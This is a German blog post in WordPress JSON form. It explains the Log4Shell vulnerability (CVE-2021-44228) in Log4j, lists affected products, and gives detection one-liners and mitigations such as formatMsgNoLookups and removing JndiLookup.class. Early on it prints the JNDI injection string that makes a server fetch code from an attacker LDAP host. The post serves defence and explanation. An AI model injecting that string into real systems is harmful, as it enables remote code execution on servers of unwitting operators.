{"id":8077,"date":"2021-12-12T19:10:53","date_gmt":"2021-12-12T17:10:53","guid":{"rendered":"https:\/\/u-labs.de\/portal\/?p=8077"},"modified":"2022-12-12T18:23:43","modified_gmt":"2022-12-12T16:23:43","slug":"schwere-sicherheitsluecke-log4bash-in-log4j-erklaert-zahlreiche-java-anwendungen-betroffen-u-a-minecraft-apple-twitter-tesla-steam-amazon-und-mehr","status":"publish","type":"post","link":"https:\/\/u-labs.de\/portal\/schwere-sicherheitsluecke-log4bash-in-log4j-erklaert-zahlreiche-java-anwendungen-betroffen-u-a-minecraft-apple-twitter-tesla-steam-amazon-und-mehr\/","title":{"rendered":"Schwere Sicherheitsl\u00fccke &#8222;Log4Bash&#8220; in Log4j erkl\u00e4rt: Zahlreiche Java-Anwendungen betroffen, u.a. Minecraft, Apple, Twitter, Tesla, Steam, Amazon und mehr"},"content":{"rendered":"<p><a href=\"https:\/\/u-labs.de\/forum\/security-177\/schwere-luecke-in-log4j-cvss-10-10-zahlreiche-java-anwendungen-betroffen-u-a-apple-steam-twitter-amazon-mehr-cve-2021-44228-40662?p=445497#post445497\">Wie bereits im Forum gepostet<\/a>, wurde Ende der Woche eine schwere Sicherheitsl\u00fccke in der Java-Bibliothek <strong>Log4j <\/strong>bekannt: Sie ist sehr verbreitet und daher sind zahlreiche gro\u00dfe Softwareprojekte und Technikkonzerne betroffen. In diesem Beitrag m\u00f6chte ich euch die Problematik erkl\u00e4ren sowie aufzeigen, wer alles betroffen ist. Und nat\u00fcrlich werden wir uns auch anschauen, wie ihr selbst pr\u00fcfen k\u00f6nnt, ob verwundbare Dienste existieren und wie diese abgesichert werden.<\/p>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Log4j Exploit: Log4Shell Sicherheitsl\u00fccke erkl\u00e4rt + Schutzma\u00dfnahmen - Minecraft Steam u.a. betroffen\" width=\"650\" height=\"366\" src=\"https:\/\/www.youtube.com\/embed\/VjfQhWNmEOo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div>\n<\/figure>\n<h2 class=\"wp-block-heading\">Was ist Log4j?<\/h2>\n<p>Log4j ist eine Bibliothek, um Anwendungsmeldungen von Java-Programmen zu protokollieren &#8211; etwa in Log-Dateien. Diese Funktion ben\u00f6tigen viele Programme. Damit nicht jeder Entwickler das Rad neu erfinden muss, wurde 1996 Log4j gegr\u00fcndet. Es bietet viele Einstellungsm\u00f6glichkeiten und gilt als ausgereift. Au\u00dferdem ist es als freie Software kostenfrei nutzbar und wird von der gemeinn\u00fctzigen Apache-Organisation gepflegt. Diese verwendet sie auch in eigenen Projekten wie z.B. Solr oder Tomcat.<\/p>\n<h2 class=\"wp-block-heading\">Was ist &#8222;Log4Bash&#8220; (CVE-2021-44228)?<\/h2>\n<p>\u00dcber die Log4Bash getaufte Sicherheitsl\u00fccke l\u00e4sst sich beliebiger Java-Code in Programme einschleusen, die eine verwundbare Version von Log4j einsetzen. Auch Konsolenbefehle kann man ausf\u00fchren, daher stammt auch der Name Log4Bash &#8211; also Bash f\u00fcr die Linux-Shell. Der Angreifer muss dazu nur eine Zeichenkette in folgendem Format ins Protokoll schreiben:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nlogger.error(&quot;${jndi:ldap:\/\/mein-server.com:1389\/a}&quot;);\n<\/pre>\n<\/div>\n<p>\u00dcber das Dollar-Zeichen erlaubt Log4j Variablen-Substitution. <strong>JNDI <\/strong>steht f\u00fcr <strong>J<\/strong>ava <strong>N<\/strong>aming and <strong>D<\/strong>irectory <strong>I<\/strong>nterface, also eine Schnittstelle zum Zugriff auf Namens- und Verzeichnisdienste. In diesem Beispiel wird eine Verbindung zu einem LDAP Verzeichnisdienst auf <strong>mein-server.com<\/strong> hergestellt. Die gro\u00dfe Gefahr dabei: JNDI kann auch Java-Klassen vom entfernten Server ausf\u00fchren.<\/p>\n<h2 class=\"wp-block-heading\">Wie entsteht dadurch in der Praxis eine Verwundbarkeit?<\/h2>\n<p>Der Angreifer ben\u00f6tigt also nur einen pr\u00e4parierten LDAP-Server im Internet und muss es schaffen, die Zeichenkette <strong>${jndi:ldap:\/\/mein-server.com:1389\/a}<\/strong> \u00fcber Log4j ins Protokoll schreiben zu lassen. Wenn der Zielserver Internetzugriff hat, kann der Angreifer nun mit Rechten des jeweiligen Anwendungsservers beliebigen Code ausf\u00fchren.<\/p>\n<p>Daten von Au\u00dferhalb sind in Logs keine Seltenheit: Schlie\u00dflich sollen sie dem Administrator m\u00f6glichst viele Informationen liefern. Ein klassisches Beispiel sind HTTP-Header wie der User-Agent. Sie werden von einigen Anwendungen sogar standardm\u00e4\u00dfig ins Protokoll geschrieben. Aber das ist nur ein Beispiel von vielen: Man stelle sich z.B. ein Registrierungsformular vor. Wenn bestimmte Angaben wie Nutzername oder E-Mail nicht den Vorgaben entsprechen, wird dies zur Fehleranalyse vielleicht protokolliert.<\/p>\n<h2 class=\"wp-block-heading\">Wie gef\u00e4hrlich ist Log4Shell?<\/h2>\n<p>Die L\u00fccke kann daher recht leicht ausgenutzt werden und das wird sie auch bereits. Auf von mir betreuten Systemen habe ich bereits am Samstag erste Angriffsversuche festgestellt. Diese konnten abgewehrt werden, aber ohne entsprechende Vorkehrungen steht ihr da als Betroffene mit ziemlich weit heruntergelassenen Hosen da. Aus diesem Grunde ist mein heutiger Beitrag visuell weniger aufwendig gestaltet als sonst, um m\u00f6glichst schnell zu informieren. Die Sicherheitsl\u00fccke hat einen SVSS-Score 10 auf einer Skala von 0 bis 10. Bei der h\u00f6chsten Stufe l\u00e4sst man alles stehen und liegen und patcht sofort seine Systeme oder schaltet diese im Extremfall erst einmal bis zur Kl\u00e4rung ab. <\/p>\n<p>Da Log4Shell bereits aktiv ausgenutzt wird, z\u00e4hlt hier tats\u00e4chlich jede Minute. Wiegt euch bitte nicht in falscher Sicherheit, weil niemand eure Domain kennt oder \u00e4hnliches. Heutzutage wird das Internet von zahlreichen Akteuren systematisch gescannt. Als w\u00fcrde jemand alle m\u00f6glichen Telefonnummern systematisch durchprobieren. Da hilft es euch nicht viel, einen Eintrag ins Telefonbuch abzulehnen.<\/p>\n<h2 class=\"wp-block-heading\">Woher wei\u00df ich, ob ich betroffen bin?<\/h2>\n<p>Log4j gibt es auch f\u00fcr andere Sprachen, laut bisherigen Informationen ist nur Java betroffen. Sofern ihr Java-Anwendungen einsetzt, solltet ihr diese daher so schnell wie m\u00f6glich \u00fcberpr\u00fcfen. Vor allem dann, wenn diese \u00fcbers Internet erreichbar sind. Falls nicht, solltet ihr euch aber nicht in Sicherheit wiegen: M\u00f6glicherweise sind diese Systeme \u00fcber andere Systeme, mit denen sie vernetzt sind, trotzdem verwundbar. <\/p>\n<p>Ein Beispiel: Elasticsearch ist eine in Java geschriebene Suchmaschine und von Log4Bash verwundbar. Wenn Elasticsearch nicht \u00fcbers Internet erreichbar ist, daf\u00fcr aber eine andere Anwendung die wiederum auf Elasticsearch zugreift, kann sie \u00fcber diesen Umweg m\u00f6glicherweise doch angegriffen werden. Auch Versprechen von Herstellern, die betonen, nicht verwundbar zu sein, w\u00fcrde ich mit Vorsicht genie\u00dfen. In der Vergangenheit hat sich sp\u00e4ter schon mehr als einmal herausgestellt, dass sie es doch sind.<\/p>\n<p>Ein weiteres Beispiel ist das Spiel Minecraft: Dort ist der integrierte Chat verwundbar. Ihr seht also, es kann durchaus Stellen treffen, wo man dies nicht unbedingt vermuten w\u00fcrde.<\/p>\n<p>Als Administrator kann ein erster Ansatzpunkt <a href=\"https:\/\/github.com\/YfryTchsGD\/Log4jAttackSurface\" target=\"_blank\" rel=\"nofollow\">die Liste von bereits getesteten Programmen sein<\/a>. Hier wurde sich nicht auf die Aussage vom Hersteller verlassen, sondern selbst getestet. Unabh\u00e4ngig davon solltest du deine Anwendungen am besten selbst untersuchen. Hilfreich kann es sein, nach der Jar-Datei von Log4j zu suchen:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsudo find \/ -name log4j-core-*.jar\n<\/pre>\n<\/div>\n<p>Allerdings werden Abh\u00e4ngigkeiten teilweise in einer weiteren JAR geb\u00fcndelt. Dies ist beispielsweise bei Minecraft der Fall. Man sollte daher auch die JARs selbst durchsuchen. Ich habe dazu folgenden Einzeiler entwickelt:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsudo find \/ -name \\*.jar -exec sh -c &quot;if zipinfo {} | grep JndiLookup.class; then echo -e &#039;{}\\n&#039;; fi&quot; \\; 2&gt;\/dev\/null\n<\/pre>\n<\/div>\n<p>Er sucht systemweit nach Jar-Dateien, listet deren Inhalt auf und sucht nach <strong>JndiLookup<\/strong>. Das ist die Klasse, welche die Sicherheitsl\u00fccke erst m\u00f6glich macht. <\/p>\n<p><strong>Erg\u00e4nzung<\/strong>: <em>2&gt;\/dev\/null <\/em>hinzugef\u00fcgt. Damit werden Fehler (stderr) verworfen, die z.B. in \/run oder \/proc auftreten k\u00f6nnen. Dort liegen spezielle Dateien, bei denen selbst mit root-Rechten Zugriffsfehler auftreten k\u00f6nnen. Sofern ihr den Befehl mit ausreichend rechten (als root oder mit sudo) ausf\u00fchrt, kann man die Zugriffsfehler in diesen speziellen Dateisystemen ignorieren.<\/p>\n<h2 class=\"wp-block-heading\">Wie kann ich mich akut gegen Log4Shell sch\u00fctzen?<\/h2>\n<p>Seitens Log4j gibt es mit Version 2.15.0 ein Sicherheitsupdate, welches die L\u00fccke behebt. Allerdings ist dies bei nicht selbst entwickelter Software schwierig von Hand einzuspielen, da Log4j ja in der Regel in andere Programme integriert ist. Hast du betroffene Anwendungen entdeckt, am besten nach Sicherheitsupdates vom Hersteller schauen. Manche haben bereits reagiert. Da Log4Shell erst kurz vor dem Wochenende bekannt wurde, haben viele aber noch keine Aktualisierungen bereitgestellt.<\/p>\n<p>In diesem Falle gibt es mehrere Workarounds: Wenn die eingesetzte Log4j Version neuer als 2.10 aber \u00e4lter als 2.15.0 ist, kann man <strong>log4j2.formatMsgNoLookups<\/strong> in der log4j.properties Konfigurationsdatei auf true setzen:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nlog4j2.formatMsgNoLookups=true\n<\/pre>\n<\/div>\n<p>Dadurch werden die Substitutionen mit dem Dollar-Zeichen entsch\u00e4rft. Alternativ kann dies auch als Parameter f\u00fcr die JVM setzen:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n-Dlog4j2.formatMsgNoLookups=true\n<\/pre>\n<\/div>\n<p>Oder global als Umgebungsvariable:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nLOG4J_FORMAT_MSG_NO_LOOKUPS=true\n<\/pre>\n<\/div>\n<p>Sofern JDNI nicht genutzt wird, besteht eine weitere M\u00f6glichkeit darin, die betroffene Klasse JndiLookup.class schlicht zu entfernen:<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nzip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class\n<\/pre>\n<\/div>\n<p>In diesem Beispiel muss die log4j Jar-Datei direkt vorliegen. Ist dies nicht der Fall, weil sie sich z.B. wie bei Mincraft in einer weiteren Jar-Datei befindet, entsprechend den Dateiname und Pfad anpassen.<\/p>\n<h2 class=\"wp-block-heading\">Auch fertige Software betroffen<\/h2>\n<p>Es sind aber nicht nur bewusst selbst betriebene Java-Anwendungen betroffen. Log4j steckt in zahlreichen Anwendungen, wo es der Anwender oft gar nicht wei\u00df: Etwa Netzwerkger\u00e4te von <strong>Ubiquiti<\/strong>. Sie sind auch bei Privatanwendern im Einsatz, etwa als WLAN-Router. Deren Verwaltungsoberfl\u00e4che UniFi ist verwundbar und wurde k\u00fcrzlich aktualisiert.<\/p>\n<p>Viele Hersteller untersuchen derzeit noch ihre Produkte und haben daher weder Warnungen noch Entwarnungen verk\u00fcndet. Es empfiehlt sich daher, in den n\u00e4chsten Tagen\/Wochen wachsam zu sein und Aktualisierungen m\u00f6glichst schnell einzuspielen. Ein Augenmerk sollte man auch auf \u00e4ltere Ger\u00e4te haben, die ggf. ebenfalls verwundbar sind, aber keine Aktualisierungen mehr erhalten. Gerade bei Smart Home Ger\u00e4ten ist Java durchaus auch vertreten.<\/p>\n<p>Das Anwaltspostfach &#8222;beA&#8220; ist ebenfalls betroffen und hat am Samstag die Rei\u00dfleine gezogen, das Programm war offline. Als akute Ma\u00dfnahme durchaus positiv. Wobei beA leider weit schwerwiegendere M\u00e4ngel aufweist, bei denen seit l\u00e4ngerer Zeit wenig bis gar nichts passiert &#8211; etwa die fehlende Ende-zu-Ende-Verschl\u00fcsselung. Aber das ist ein anderes Thema.<\/p>\n<h2 class=\"wp-block-heading\">Fazit: Was wir aus Log4Shell lernen k\u00f6nnen<\/h2>\n<p>Aufgrund seiner Verbreitung wird Log4Shell wohl viele Unternehmen und Hobby-Admins wohl noch eine Weile besch\u00e4ftigen. Derzeit ist alles recht neu und das komplette Ausma\u00df nicht abschlie\u00dfend klar, in einigen Tagen werden wir mehr wissen. Da YouTube keine Aktualisierung der Videos erlaubt, werde ich neue Infos im U-Labs Forum posten. Den Link zum Thread findet Ihr in der Beschreibung. Bedenkt daher, dass dieses Video ggf. nicht mehr 100% aktuell ist, wenn ihr es erst in einigen Tagen anschaut. <\/p>\n<p>Meiner Ansicht nach zeigt Log4Shell zwei gro\u00dfe Missst\u00e4nde auf:<\/p>\n<ol class=\"wp-block-list\">\n<li>Der Trend, zunehmend Drittanbieter-Abh\u00e4ngigkeiten in seine Projekte zu laden. Nicht nur unter NPM werden Pakete schnell mal installiert, ohne sie genauer zu pr\u00fcfen.<\/li>\n<li>Zentrale Programme und Bibliotheken werden von unz\u00e4hligen Projekten und sogar Gro\u00dfkonzernen genutzt. Nur eine sehr kleine Minderheit beteiligt sich an diesen Projekten, sei es finanziell oder mit Manpower, damit die Qualit\u00e4t sichergestellt und verbessert werden kann.<\/li>\n<\/ol>\n<p>Beide Probleme sind nicht neu. Mit OpenSSL beispielsweise hatten wir vor ein paar Jahren ein \u00e4hnliches Problem. Ich halte daher vor allem bei Unternehmen ein Umdenken f\u00fcr n\u00f6tig: Auch wenn ich die Verwendung von quelloffener Software begr\u00fc\u00dfe, kann das kein blindes Nehmen sein, ohne etwas zur\u00fcck zu geben. Gerade f\u00fcr Gro\u00dfkonzerne wie Apple, Twitter, Amazon, Tesla oder Google w\u00e4re es nicht mehr als ein Taschengeld, angemessen in Open Source zu investieren &#8211; und trotzdem w\u00fcrden sie profitieren. Studien zeigen dagegen eher das Gegenteil: Je kleiner das Unternehmen, um so mehr wird zumindest in der EU investiert.<\/p>\n<h2 class=\"wp-block-heading\">Weiterf\u00fchrende Links\/Quellen<\/h2>\n<ul class=\"wp-block-list\">\n<li>https:\/\/logging.apache.org\/log4j\/2.x\/security.html<\/li>\n<li>https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-44228<\/li>\n<li>https:\/\/www.randori.com\/wp-content\/uploads\/2021\/12\/Fastly-Log4j.png<\/li>\n<li>https:\/\/gist.github.com\/SwitHak\/b66db3a06c2955a9cb71a8718970c592<\/li>\n<li>https:\/\/github.com\/YfryTchsGD\/Log4jAttackSurface<\/li>\n<li>https:\/\/github.com\/YfryTchsGD\/Log4jAttackSurface\/blob\/master\/pages\/Minecraft.md<\/li>\n<li>https:\/\/github.com\/0x0021h\/apache-log4j-rce\/blob\/main\/poc\/src\/main\/java\/log4j.java<\/li>\n<li>https:\/\/httpd.apache.org\/docs\/2.4\/logs.html<\/li>\n<li>https:\/\/github.com\/Netflix\/spectator\/commit\/455cdcdbbad60cc5e21c9b83e96c35a7bd400d3e<\/li>\n<li>https:\/\/community.ui.com\/releases\/UniFi-Network-Application-6-5-54\/d717f241-48bb-4979-8b10-99db36ddabe1<\/li>\n<li>https:\/\/portal.beasupport.de\/external\/c\/aktuelles<\/li>\n<li>https:\/\/www.heise.de\/news\/Studie-Open-Source-traegt-95-Milliarden-Euro-zur-EU-Wirtschaftskraft-bei-5047848.html<\/li>\n<li>https:\/\/www.telekom.com\/de\/blog\/konzern\/artikel\/-heartbleed-entwickler-spricht-ueber-fehler-bei-openssl-programmierung-64714<\/li>\n<li>https:\/\/www.csoonline.com\/article\/3644472\/apache-log4j-vulnerability-actively-exploited-impacting-millions-of-java-based-apps.html<\/li>\n<li>https:\/\/www.heise.de\/news\/Unbekannte-infiltrieren-Paketmanager-npm-und-verseuchen-Tools-mit-Schadcode-6260153.html<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Wie bereits im Forum gepostet, wurde Ende der Woche eine schwere Sicherheitsl\u00fccke in der Java-Bibliothek Log4j bekannt: Sie ist sehr verbreitet und daher sind zahlreiche gro\u00dfe Softwareprojekte und Technikkonzerne betroffen. In diesem Beitrag m\u00f6chte ich euch die Problematik erkl\u00e4ren sowie aufzeigen, wer alles betroffen ist. Und nat\u00fcrlich werden wir uns auch anschauen, wie ihr selbst &#8230;<\/p>\n","protected":false},"author":5,"featured_media":8084,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[85],"tags":[87,998,60],"class_list":["post-8077","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sicherheit","tag-java","tag-log4j","tag-sicherheitsluecke"],"_links":{"self":[{"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/posts\/8077","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/comments?post=8077"}],"version-history":[{"count":11,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/posts\/8077\/revisions"}],"predecessor-version":[{"id":9805,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/posts\/8077\/revisions\/9805"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/media\/8084"}],"wp:attachment":[{"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/media?parent=8077"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/categories?post=8077"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/u-labs.de\/portal\/wp-json\/wp\/v2\/tags?post=8077"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}